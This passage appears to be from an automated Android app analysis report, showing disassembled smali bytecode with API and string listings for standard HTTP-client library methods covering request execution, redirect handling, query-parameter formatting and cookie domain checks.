        508invoke-virtual {v9, v2}, Lcz/msebera/android/httpclient/client/methods/HttpRequestWrapper;->removeHeaders(Ljava/lang/String;)V
        509cond_2b4:
        510const-string v2, "Proxy-Authorization"
        512invoke-interface {v1, v2}, Lcz/msebera/android/httpclient/HttpRequest;->containsHeader(Ljava/lang/String;)Z
        513move-result v1
        514if-nez v1, :cond_2c1
        516const-string v1, "Proxy-Authorization"
        518invoke-virtual {v9, v1}, Lcz/msebera/android/httpclient/client/methods/HttpRequestWrapper;->removeHeaders(Ljava/lang/String;)V
        519cond_2c1: add-int/lit8 v3, v19, 0x1
        520move-object v5, v8
        521move-object v6, v14
        522move-object/from16 v14, v20
        523const/4 v4, 0x1
        524move-object/from16 v8, p1
        525move-object/from16 v11, p4
        526goto/16 :goto_c8
        527cond_2ce: if-nez v20, :cond_2dc
        529iget-object v1, v7, Lcz/msebera/android/httpclient/impl/execchain/MainClientExec;->userTokenHandler:Lcz/msebera/android/httpclient/client/UserTokenHandler;
        531invoke-interface {v1, v10}, Lcz/msebera/android/httpclient/client/UserTokenHandler;->getUserToken(Lcz/msebera/android/httpclient/protocol/HttpContext;)Ljava/lang/Object;
        532move-result-object v14
        534const-string v1, "http.user-token"
        536invoke-virtual {v10, v1, v14}, Lcz/msebera/android/httpclient/client/protocol/HttpClientContext;->setAttribute(Ljava/lang/String;Ljava/lang/Object;)V
        537goto/16 :goto_2de
        538cond_2dc: move-object/from16 v14, v20
        539goto_2de: if-eqz v14, :cond_2e3
        541invoke-virtual {v8, v14}, Lcz/msebera/android/httpclient/impl/execchain/ConnectionHolder;->setState(Ljava/lang/Object;)V
        542cond_2e3:
        543invoke-interface {v11}, Lcz/msebera/android/httpclient/HttpResponse;->getEntity()Lcz/msebera/android/httpclient/HttpEntity;
        544move-result-object v1
        545if-eqz v1, :cond_2f6
        547invoke-interface {v1}, Lcz/msebera/android/httpclient/HttpEntity;->isStreaming()Z
        548move-result v1
        549if-nez v1, :cond_2f0
        550goto/16 :goto_2f6
        551cond_2f0: new-instance v1, Lcz/msebera/android/httpclient/impl/execchain/HttpResponseProxy;
        553invoke-direct {v1, v11, v8}, Lcz/msebera/android/httpclient/impl/execchain/HttpResponseProxy;-><init>(Lcz/msebera/android/httpclient/HttpResponse;Lcz/msebera/android/httpclient/impl/execchain/ConnectionHolder;)V
        554return-object v1
        555cond_2f6:
        556invoke-virtual {v8}, Lcz/msebera/android/httpclient/impl/execchain/ConnectionHolder;->releaseConnection()V
        557new-instance v1, Lcz/msebera/android/httpclient/impl/execchain/HttpResponseProxy;
        558const/4 v2, 0x0
        560invoke-direct {v1, v11, v2}, Lcz/msebera/android/httpclient/impl/execchain/HttpResponseProxy;-><init>(Lcz/msebera/android/httpclient/HttpResponse;Lcz/msebera/android/httpclient/impl/execchain/ConnectionHolder;)V
        561try_end_2ff: return-object v1
        562catch_300: move-exception v0
        563goto/16 :goto_308
        564catch_302: move-exception v0
        565goto/16 :goto_30f
        566catch_304: move-exception v0
        567goto/16 :goto_316
        568catch_306: move-exception v0
        569move-object v8, v5
        570goto_308: move-object v1, v0
        571goto_309:
        572invoke-virtual {v8}, Lcz/msebera/android/httpclient/impl/execchain/ConnectionHolder;->abortConnection()V
        573throw v1
        574catch_30d: move-exception v0
        575move-object v8, v5
        576goto_30f: move-object v1, v0
        577goto_310:
        578invoke-virtual {v8}, Lcz/msebera/android/httpclient/impl/execchain/ConnectionHolder;->abortConnection()V
        579throw v1
        580catch_314: move-exception v0
        581move-object v8, v5
        582goto_316: move-object v1, v0
        583goto_317:
        584invoke-virtual {v8}, Lcz/msebera/android/httpclient/impl/execchain/ConnectionHolder;->abortConnection()V
        585throw v1
        586goto_31b: new-instance v2, Ljava/io/InterruptedIOException;
        588const-string v3, "Connection has been shut down"
        590invoke-direct {v2, v3}, Ljava/io/InterruptedIOException;-><init>(Ljava/lang/String;)V
        592invoke-virtual {v2, v1}, Ljava/io/InterruptedIOException;->initCause(Ljava/lang/Throwable;)Ljava/lang/Throwable;
        593throw v2
        594catch_326: move-exception v0
        595move-object v1, v0
        597invoke-virtual {v1}, Ljava/util/concurrent/ExecutionException;->getCause()Ljava/lang/Throwable;
        598move-result-object v2
        599if-nez v2, :cond_32f
        600goto/16 :goto_330
        601cond_32f: move-object v1, v2
        602goto_330: new-instance v2, Lcz/msebera/android/httpclient/impl/execchain/RequestAbortedException;
        604const-string v3, "Request execution failed"
        606invoke-direct {v2, v3, v1}, Lcz/msebera/android/httpclient/impl/execchain/RequestAbortedException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
        607throw v2
        608catch_338: move-exception v0
        609move-object v1, v0
        611invoke-static {}, Ljava/lang/Thread;->currentThread()Ljava/lang/Thread;
        612move-result-object v2
        614invoke-virtual {v2}, Ljava/lang/Thread;->interrupt()V
        615new-instance v2, Lcz/msebera/android/httpclient/impl/execchain/RequestAbortedException;
        617const-string v3, "Request aborted"
        619invoke-direct {v2, v3, v1}, Lcz/msebera/android/httpclient/impl/execchain/RequestAbortedException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
        620throw v2
        APIs
        • java.lang.StringBuilder.<init>
        • java.util.concurrent.ConcurrentHashMap.entrySet
        • java.util.Set.iterator
        • java.util.Iterator.hasNext
        • java.util.Iterator.next
        • java.lang.StringBuilder.length
        • java.lang.StringBuilder.append
        • java.util.Map$Entry.getKey
        • java.lang.StringBuilder.append
        • java.util.Map$Entry.getValue
        • java.lang.StringBuilder.append
        • java.util.concurrent.ConcurrentHashMap.entrySet
        • java.util.Set.iterator
        • java.util.Iterator.hasNext
        • java.util.Iterator.next
        • java.lang.StringBuilder.length
        • java.lang.StringBuilder.append
        • java.util.Map$Entry.getKey
        • java.lang.StringBuilder.append
        • java.util.concurrent.ConcurrentHashMap.entrySet
        • java.util.Set.iterator
        • java.util.Iterator.hasNext
        • java.util.Iterator.next
        • java.lang.StringBuilder.length
        • java.lang.StringBuilder.append
        • java.util.Map$Entry.getKey
        • java.lang.StringBuilder.append
        • java.util.concurrent.ConcurrentHashMap.entrySet
        • java.util.Set.iterator
        • java.util.Iterator.hasNext
        • java.util.Iterator.next
        • java.lang.StringBuilder.length
        • java.lang.StringBuilder.append
        • java.util.Map$Entry.getKey
        • java.lang.StringBuilder.append
        • java.util.Map$Entry.getValue
        • java.util.List.size
        • java.lang.StringBuilder.append
        • java.util.List.iterator
        • java.util.Iterator.hasNext
        • java.util.Iterator.next
        • java.lang.StringBuilder.length
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        Strings
        • &
        • =
        • STREAM
        • FILE
        • FILES(SIZE=
        • )
        Position Instruction Meta Information
        0new-instance v0, Ljava/lang/StringBuilder;
        2invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        4iget-object v1, p0, Lcom/loopj/android/http/RequestParams;->urlParams:Ljava/util/concurrent/ConcurrentHashMap;
        6invoke-virtual {v1}, Ljava/util/concurrent/ConcurrentHashMap;->entrySet()Ljava/util/Set;
        7move-result-object v1
        9invoke-interface {v1}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
        10move-result-object v1
        11goto_f:
        12invoke-interface {v1}, Ljava/util/Iterator;->hasNext()Z
        13move-result v2
        14if-eqz v2, :cond_3e
        16invoke-interface {v1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
        17move-result-object v2
        18check-cast v2, Ljava/util/Map$Entry;
        20invoke-virtual {v0}, Ljava/lang/StringBuilder;->length()I
        21move-result v3
        22if-lez v3, :cond_26
        24const-string v3, "&"
        26invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        27cond_26:
        28invoke-interface {v2}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
        29move-result-object v3
        30check-cast v3, Ljava/lang/String;
        32invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        34const-string v3, "="
        36invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        38invoke-interface {v2}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
        39move-result-object v2
        40check-cast v2, Ljava/lang/String;
        42invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        43goto/16 :goto_f
        44cond_3e:
        45iget-object v1, p0, Lcom/loopj/android/http/RequestParams;->streamParams:Ljava/util/concurrent/ConcurrentHashMap;
        47invoke-virtual {v1}, Ljava/util/concurrent/ConcurrentHashMap;->entrySet()Ljava/util/Set;
        48move-result-object v1
        50invoke-interface {v1}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
        51move-result-object v1
        52goto_48:
        53invoke-interface {v1}, Ljava/util/Iterator;->hasNext()Z
        54move-result v2
        55if-eqz v2, :cond_73
        57invoke-interface {v1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
        58move-result-object v2
        59check-cast v2, Ljava/util/Map$Entry;
        61invoke-virtual {v0}, Ljava/lang/StringBuilder;->length()I
        62move-result v3
        63if-lez v3, :cond_5f
        65const-string v3, "&"
        67invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        68cond_5f:
        69invoke-interface {v2}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
        70move-result-object v2
        71check-cast v2, Ljava/lang/String;
        73invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        75const-string v2, "="
        77invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        79const-string v2, "STREAM"
        81invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        82goto/16 :goto_48
        83cond_73:
        84iget-object v1, p0, Lcom/loopj/android/http/RequestParams;->fileParams:Ljava/util/concurrent/ConcurrentHashMap;
        86invoke-virtual {v1}, Ljava/util/concurrent/ConcurrentHashMap;->entrySet()Ljava/util/Set;
        87move-result-object v1
        89invoke-interface {v1}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
        90move-result-object v1
        91goto_7d:
        92invoke-interface {v1}, Ljava/util/Iterator;->hasNext()Z
        93move-result v2
        94if-eqz v2, :cond_a8
        96invoke-interface {v1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
        97move-result-object v2
        98check-cast v2, Ljava/util/Map$Entry;
        100invoke-virtual {v0}, Ljava/lang/StringBuilder;->length()I
        101move-result v3
        102if-lez v3, :cond_94
        104const-string v3, "&"
        106invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        107cond_94:
        108invoke-interface {v2}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
        109move-result-object v2
        110check-cast v2, Ljava/lang/String;
        112invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        114const-string v2, "="
        116invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        118const-string v2, "FILE"
        120invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        121goto/16 :goto_7d
        122cond_a8:
        123iget-object v1, p0, Lcom/loopj/android/http/RequestParams;->fileArrayParams:Ljava/util/concurrent/ConcurrentHashMap;
        125invoke-virtual {v1}, Ljava/util/concurrent/ConcurrentHashMap;->entrySet()Ljava/util/Set;
        126move-result-object v1
        128invoke-interface {v1}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
        129move-result-object v1
        130goto_b2:
        131invoke-interface {v1}, Ljava/util/Iterator;->hasNext()Z
        132move-result v2
        133if-eqz v2, :cond_ef
        135invoke-interface {v1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
        136move-result-object v2
        137check-cast v2, Ljava/util/Map$Entry;
        139invoke-virtual {v0}, Ljava/lang/StringBuilder;->length()I
        140move-result v3
        141if-lez v3, :cond_c9
        143const-string v3, "&"
        145invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        146cond_c9:
        147invoke-interface {v2}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
        148move-result-object v3
        149check-cast v3, Ljava/lang/String;
        151invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        153const-string v3, "="
        155invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        157const-string v3, "FILES(SIZE="
        159invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        161invoke-interface {v2}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
        162move-result-object v2
        163check-cast v2, Ljava/util/List;
        165invoke-interface {v2}, Ljava/util/List;->size()I
        166move-result v2
        168invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
        170const-string v2, ")"
        172invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        173goto/16 :goto_b2
        174cond_ef: const/4 v1, 0x0
        176iget-object v2, p0, Lcom/loopj/android/http/RequestParams;->urlParamsWithObjects:Ljava/util/concurrent/ConcurrentHashMap;
        178invoke-direct {p0, v1, v2}, Lcom/loopj/android/http/RequestParams;->getParamsList(Ljava/lang/String;Ljava/lang/Object;)Ljava/util/List;
        179move-result-object v1
        181invoke-interface {v1}, Ljava/util/List;->iterator()Ljava/util/Iterator;
        182move-result-object v1
        183goto_fa:
        184invoke-interface {v1}, Ljava/util/Iterator;->hasNext()Z
        185move-result v2
        186if-eqz v2, :cond_125
        188invoke-interface {v1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
        189move-result-object v2
        190check-cast v2, Lcz/msebera/android/httpclient/message/BasicNameValuePair;
        192invoke-virtual {v0}, Ljava/lang/StringBuilder;->length()I
        193move-result v3
        194if-lez v3, :cond_111
        196const-string v3, "&"
        198invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        199cond_111:
        200invoke-virtual {v2}, Lcz/msebera/android/httpclient/message/BasicNameValuePair;->getName()Ljava/lang/String;
        201move-result-object v3
        203invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        205const-string v3, "="
        207invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        209invoke-virtual {v2}, Lcz/msebera/android/httpclient/message/BasicNameValuePair;->getValue()Ljava/lang/String;
        210move-result-object v2
        212invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        213goto/16 :goto_fa
        214cond_125:
        215invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        216move-result-object v0
        217return-object v0
        APIs
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.net.URI.<init>
        • java.net.URI.isAbsolute
        • java.net.URI.<init>
        • java.net.URISyntaxException.getMessage
        • cz.msebera.android.httpclient.ProtocolException.<init>
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.ProtocolException.<init>
        • cz.msebera.android.httpclient.impl.client.RedirectLocations.<init>
        • java.net.URI.getFragment
        • java.net.URI.getHost
        • java.net.URI.getPort
        • java.net.URI.getScheme
        • java.net.URISyntaxException.getMessage
        • cz.msebera.android.httpclient.ProtocolException.<init>
        • cz.msebera.android.httpclient.impl.client.RedirectLocations.contains
        • cz.msebera.android.httpclient.impl.client.RedirectLocations.add
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.client.CircularRedirectException.<init>
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.ProtocolException.<init>
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.ProtocolException.<init>
        Strings
        • HTTP response
        • location
        • Redirect requested to location \'
        • \'
        • http.protocol.reject-relative-redirect
        • http.target_host
        • Target host
        • http.request
        • Relative redirect location \'
        • \' not allowed
        • http.protocol.allow-circular-redirects
        • http.protocol.redirect-locations
        • Circular redirect to \'
        • Invalid redirect URI:
        • Received redirect response
        • but no location header
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Lcz/msebera/android/httpclient/ProtocolException;
        3}
        4.end annotation
        6const-string v0, "HTTP response"
        8invoke-static {p1, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        10const-string v0, "location"
        12invoke-interface {p1, v0}, Lcz/msebera/android/httpclient/HttpResponse;->getFirstHeader(Ljava/lang/String;)Lcz/msebera/android/httpclient/Header;
        13move-result-object v0
        14if-eqz v0, :cond_121
        16invoke-interface {v0}, Lcz/msebera/android/httpclient/Header;->getValue()Ljava/lang/String;
        17move-result-object v0
        19iget-object v1, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRedirectHandler;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        21invoke-virtual {v1}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        22move-result v1
        23if-eqz v1, :cond_34
        25iget-object v1, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRedirectHandler;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        26new-instance v2, Ljava/lang/StringBuilder;
        28invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
        30const-string v3, "Redirect requested to location \'"
        32invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        34invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        36const-string v3, "\'"
        38invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        40invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        41move-result-object v2
        43invoke-virtual {v1, v2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        44cond_34: new-instance v1, Ljava/net/URI;
        46invoke-direct {v1, v0}, Ljava/net/URI;-><init>(Ljava/lang/String;)V
        47try_end_39:
        48invoke-interface {p1}, Lcz/msebera/android/httpclient/HttpResponse;->getParams()Lcz/msebera/android/httpclient/params/HttpParams;
        49move-result-object p1
        51invoke-virtual {v1}, Ljava/net/URI;->isAbsolute()Z
        52move-result v0
        53const/4 v2, 0x1
        54if-nez v0, :cond_9e
        56const-string v0, "http.protocol.reject-relative-redirect"
        58invoke-interface {p1, v0}, Lcz/msebera/android/httpclient/params/HttpParams;->isParameterTrue(Ljava/lang/String;)Z
        59move-result v0
        60if-nez v0, :cond_82
        62const-string v0, "http.target_host"
        64invoke-interface {p2, v0}, Lcz/msebera/android/httpclient/protocol/HttpContext;->getAttribute(Ljava/lang/String;)Ljava/lang/Object;
        65move-result-object v0
        66check-cast v0, Lcz/msebera/android/httpclient/HttpHost;
        68const-string v3, "Target host"
        70invoke-static {v0, v3}, Lcz/msebera/android/httpclient/util/Asserts;->notNull(Ljava/lang/Object;Ljava/lang/String;)V
        72const-string v3, "http.request"
        74invoke-interface {p2, v3}, Lcz/msebera/android/httpclient/protocol/HttpContext;->getAttribute(Ljava/lang/String;)Ljava/lang/Object;
        75move-result-object v3
        76check-cast v3, Lcz/msebera/android/httpclient/HttpRequest;
        77try_start_61: new-instance v4, Ljava/net/URI;
        79invoke-interface {v3}, Lcz/msebera/android/httpclient/HttpRequest;->getRequestLine()Lcz/msebera/android/httpclient/RequestLine;
        80move-result-object v3
        82invoke-interface {v3}, Lcz/msebera/android/httpclient/RequestLine;->getUri()Ljava/lang/String;
        83move-result-object v3
        85invoke-direct {v4, v3}, Ljava/net/URI;-><init>(Ljava/lang/String;)V
        87invoke-static {v4, v0, v2}, Lcz/msebera/android/httpclient/client/utils/URIUtils;->rewriteURI(Ljava/net/URI;Lcz/msebera/android/httpclient/HttpHost;Z)Ljava/net/URI;
        88move-result-object v0
        90invoke-static {v0, v1}, Lcz/msebera/android/httpclient/client/utils/URIUtils;->resolve(Ljava/net/URI;Ljava/net/URI;)Ljava/net/URI;
        91move-result-object v1
        92try_end_76: goto/16 :goto_9e
        93catch_77: move-exception p1
        94new-instance p2, Lcz/msebera/android/httpclient/ProtocolException;
        96invoke-virtual {p1}, Ljava/net/URISyntaxException;->getMessage()Ljava/lang/String;
        97move-result-object v0
        99invoke-direct {p2, v0, p1}, Lcz/msebera/android/httpclient/ProtocolException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
        100throw p2
        101cond_82: new-instance p1, Lcz/msebera/android/httpclient/ProtocolException;
        102new-instance p2, Ljava/lang/StringBuilder;
        104invoke-direct {p2}, Ljava/lang/StringBuilder;-><init>()V
        106const-string v0, "Relative redirect location \'"
        108invoke-virtual {p2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        110invoke-virtual {p2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        112const-string v0, "\' not allowed"
        114invoke-virtual {p2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        116invoke-virtual {p2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        117move-result-object p2
        119invoke-direct {p1, p2}, Lcz/msebera/android/httpclient/ProtocolException;-><init>(Ljava/lang/String;)V
        120throw p1
        121goto_9e:
        122const-string v0, "http.protocol.allow-circular-redirects"
        124invoke-interface {p1, v0}, Lcz/msebera/android/httpclient/params/HttpParams;->isParameterFalse(Ljava/lang/String;)Z
        125move-result p1
        126if-eqz p1, :cond_108
        128const-string p1, "http.protocol.redirect-locations"
        130invoke-interface {p2, p1}, Lcz/msebera/android/httpclient/protocol/HttpContext;->getAttribute(Ljava/lang/String;)Ljava/lang/Object;
        131move-result-object p1
        132check-cast p1, Lcz/msebera/android/httpclient/impl/client/RedirectLocations;
        133if-nez p1, :cond_ba
        134new-instance p1, Lcz/msebera/android/httpclient/impl/client/RedirectLocations;
        136invoke-direct {p1}, Lcz/msebera/android/httpclient/impl/client/RedirectLocations;-><init>()V
        138const-string v0, "http.protocol.redirect-locations"
        140invoke-interface {p2, v0, p1}, Lcz/msebera/android/httpclient/protocol/HttpContext;->setAttribute(Ljava/lang/String;Ljava/lang/Object;)V
        141cond_ba:
        142invoke-virtual {v1}, Ljava/net/URI;->getFragment()Ljava/lang/String;
        143move-result-object p2
        144if-eqz p2, :cond_e1
        145try_start_c0: new-instance p2, Lcz/msebera/android/httpclient/HttpHost;
        147invoke-virtual {v1}, Ljava/net/URI;->getHost()Ljava/lang/String;
        148move-result-object v0
        150invoke-virtual {v1}, Ljava/net/URI;->getPort()I
        151move-result v3
        153invoke-virtual {v1}, Ljava/net/URI;->getScheme()Ljava/lang/String;
        154move-result-object v4
        156invoke-direct {p2, v0, v3, v4}, Lcz/msebera/android/httpclient/HttpHost;-><init>(Ljava/lang/String;ILjava/lang/String;)V
        158invoke-static {v1, p2, v2}, Lcz/msebera/android/httpclient/client/utils/URIUtils;->rewriteURI(Ljava/net/URI;Lcz/msebera/android/httpclient/HttpHost;Z)Ljava/net/URI;
        159move-result-object p2
        160try_end_d5: goto/16 :goto_e2
        161catch_d6: move-exception p1
        162new-instance p2, Lcz/msebera/android/httpclient/ProtocolException;
        164invoke-virtual {p1}, Ljava/net/URISyntaxException;->getMessage()Ljava/lang/String;
        165move-result-object v0
        167invoke-direct {p2, v0, p1}, Lcz/msebera/android/httpclient/ProtocolException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
        168throw p2
        169cond_e1: move-object p2, v1
        170goto_e2:
        171invoke-virtual {p1, p2}, Lcz/msebera/android/httpclient/impl/client/RedirectLocations;->contains(Ljava/net/URI;)Z
        172move-result v0
        173if-nez v0, :cond_ec
        175invoke-virtual {p1, p2}, Lcz/msebera/android/httpclient/impl/client/RedirectLocations;->add(Ljava/net/URI;)V
        176goto/16 :goto_108
        177cond_ec: new-instance p1, Lcz/msebera/android/httpclient/client/CircularRedirectException;
        178new-instance v0, Ljava/lang/StringBuilder;
        180invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        182const-string v1, "Circular redirect to \'"
        184invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        186invoke-virtual {v0, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        188const-string p2, "\'"
        190invoke-virtual {v0, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        192invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        193move-result-object p2
        195invoke-direct {p1, p2}, Lcz/msebera/android/httpclient/client/CircularRedirectException;-><init>(Ljava/lang/String;)V
        196throw p1
        197goto_108: return-object v1
        198catch_109: move-exception p1
        199new-instance p2, Lcz/msebera/android/httpclient/ProtocolException;
        200new-instance v1, Ljava/lang/StringBuilder;
        202invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
        204const-string v2, "Invalid redirect URI: "
        206invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        208invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        210invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        211move-result-object v0
        213invoke-direct {p2, v0, p1}, Lcz/msebera/android/httpclient/ProtocolException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
        214throw p2
        215cond_121: new-instance p2, Lcz/msebera/android/httpclient/ProtocolException;
        216new-instance v0, Ljava/lang/StringBuilder;
        218invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        220const-string v1, "Received redirect response "
        222invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        224invoke-interface {p1}, Lcz/msebera/android/httpclient/HttpResponse;->getStatusLine()Lcz/msebera/android/httpclient/StatusLine;
        225move-result-object p1
        227invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        229const-string p1, " but no location header"
        231invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        233invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        234move-result-object p1
        236invoke-direct {p2, p1}, Lcz/msebera/android/httpclient/ProtocolException;-><init>(Ljava/lang/String;)V
        237throw p2
        APIs
        • java.lang.String.equals
        • java.lang.String.indexOf
        • java.lang.String.startsWith
        • java.lang.String.indexOf
        • java.lang.String.length
        • java.lang.String.toLowerCase
        • java.lang.String.endsWith
        • java.lang.String.length
        • java.lang.String.substring
        • java.lang.String.indexOf
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.cookie.CookieRestrictionViolationException.<init>
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.cookie.CookieRestrictionViolationException.<init>
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.cookie.CookieRestrictionViolationException.<init>
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.cookie.CookieRestrictionViolationException.<init>
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.cookie.CookieRestrictionViolationException.<init>
        Strings
        • Cookie
        • Cookie origin
        • .
        • Domain attribute \"
        • \" violates RFC 2109: host minus domain may not contain any dots
        • Illegal domain attribute \"
        • \". Domain of origin: \"
        • \"
        • \" violates RFC 2109: domain must contain an embedded dot
        • \" violates RFC 2109: domain must start with a dot
        • \" does not match the host \"
        • Cookie domain may not be null
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Lcz/msebera/android/httpclient/cookie/MalformedCookieException;
        3}
        4.end annotation
        6const-string v0, "Cookie"
        8invoke-static {p1, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        10const-string v0, "Cookie origin"
        12invoke-static {p2, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        14invoke-virtual {p2}, Lcz/msebera/android/httpclient/cookie/CookieOrigin;->getHost()Ljava/lang/String;
        15move-result-object p2
